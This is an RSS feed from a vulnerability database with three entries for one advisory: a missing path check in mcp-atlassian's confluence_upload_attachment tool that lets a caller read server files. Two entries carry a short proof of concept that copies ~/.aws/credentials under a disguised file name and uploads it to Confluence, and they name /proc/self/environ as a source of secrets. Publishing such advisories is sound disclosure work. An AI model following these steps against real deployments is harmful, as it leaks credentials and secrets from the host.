<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 23:37:48 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-77259</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-77259</link>
      <description>&lt;p&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment opens a caller-selected server-local file without checking that the resolved path remains in the workspace. A caller can upload environment files, credentials, or other readable host data to a Confluence page and retrieve it through Atlassian. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and open(file_path, &amp;#34;rb&amp;#34;), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment opens a caller-selected server-local file without checking that the resolved path remains in the workspace. A caller can upload environment files, credentials, or other readable host data to a Confluence page and retrieve it through Atlassian. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and open(file_path, &amp;#34;rb&amp;#34;), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-77259</guid>
    </item>
    <item>
      <title>GHSA-6cr4-ccf3-x7h4 — MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-6cr4-ccf3-x7h4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mcp-atlassian&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.&lt;/p&gt;
&lt;p&gt;---
### Details&lt;/p&gt;
&lt;p&gt;`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:&lt;/p&gt;
&lt;p&gt;```python
# line 477
files = {&amp;#34;file&amp;#34;: (filename, open(file_path, &amp;#34;rb&amp;#34;))}
```
The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.&lt;/p&gt;
&lt;p&gt;---
### PoC&lt;/p&gt;
&lt;p&gt;```bash
# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)
cp ~/.aws/credentials /tmp/diagram.png&lt;/p&gt;
&lt;p&gt;# 2. Call the MCP tool
confluence_upload_attachment(
    content_id = &amp;#34;&amp;lt;any page attacker can edit&amp;gt;&amp;#34;,
    file_path  = &amp;#34;/tmp/diagram.png&amp;#34;
)&lt;/p&gt;
&lt;p&gt;# 3. Download attachment from Confluence — contains raw credentials
```
Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.&lt;/p&gt;
&lt;p&gt;---
### Impact
Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/env…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mcp-atlassian&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.&lt;/p&gt;
&lt;p&gt;---
### Details&lt;/p&gt;
&lt;p&gt;`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:&lt;/p&gt;
&lt;p&gt;```python
# line 477
files = {&amp;#34;file&amp;#34;: (filename, open(file_path, &amp;#34;rb&amp;#34;))}
```
The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.&lt;/p&gt;
&lt;p&gt;---
### PoC&lt;/p&gt;
&lt;p&gt;```bash
# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)
cp ~/.aws/credentials /tmp/diagram.png&lt;/p&gt;
&lt;p&gt;# 2. Call the MCP tool
confluence_upload_attachment(
    content_id = &amp;#34;&amp;lt;any page attacker can edit&amp;gt;&amp;#34;,
    file_path  = &amp;#34;/tmp/diagram.png&amp;#34;
)&lt;/p&gt;
&lt;p&gt;# 3. Download attachment from Confluence — contains raw credentials
```
Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.&lt;/p&gt;
&lt;p&gt;---
### Impact
Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/env…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-6cr4-ccf3-x7h4</guid>
    </item>
    <item>
      <title>PYSEC-2026-4086 — MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-4086</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mcp-atlassian&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.&lt;/p&gt;
&lt;p&gt;---
### Details&lt;/p&gt;
&lt;p&gt;`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:&lt;/p&gt;
&lt;p&gt;```python
# line 477
files = {&amp;#34;file&amp;#34;: (filename, open(file_path, &amp;#34;rb&amp;#34;))}
```
The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.&lt;/p&gt;
&lt;p&gt;---
### PoC&lt;/p&gt;
&lt;p&gt;```bash
# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)
cp ~/.aws/credentials /tmp/diagram.png&lt;/p&gt;
&lt;p&gt;# 2. Call the MCP tool
confluence_upload_attachment(
    content_id = &amp;#34;&amp;lt;any page attacker can edit&amp;gt;&amp;#34;,
    file_path  = &amp;#34;/tmp/diagram.png&amp;#34;
)&lt;/p&gt;
&lt;p&gt;# 3. Download attachment from Confluence — contains raw credentials
```
Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.&lt;/p&gt;
&lt;p&gt;---
### Impact
Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/env…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mcp-atlassian&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.&lt;/p&gt;
&lt;p&gt;---
### Details&lt;/p&gt;
&lt;p&gt;`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:&lt;/p&gt;
&lt;p&gt;```python
# line 477
files = {&amp;#34;file&amp;#34;: (filename, open(file_path, &amp;#34;rb&amp;#34;))}
```
The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.&lt;/p&gt;
&lt;p&gt;---
### PoC&lt;/p&gt;
&lt;p&gt;```bash
# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)
cp ~/.aws/credentials /tmp/diagram.png&lt;/p&gt;
&lt;p&gt;# 2. Call the MCP tool
confluence_upload_attachment(
    content_id = &amp;#34;&amp;lt;any page attacker can edit&amp;gt;&amp;#34;,
    file_path  = &amp;#34;/tmp/diagram.png&amp;#34;
)&lt;/p&gt;
&lt;p&gt;# 3. Download attachment from Confluence — contains raw credentials
```
Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.&lt;/p&gt;
&lt;p&gt;---
### Impact
Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/env…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-4086</guid>
    </item>
  </channel>
</rss>
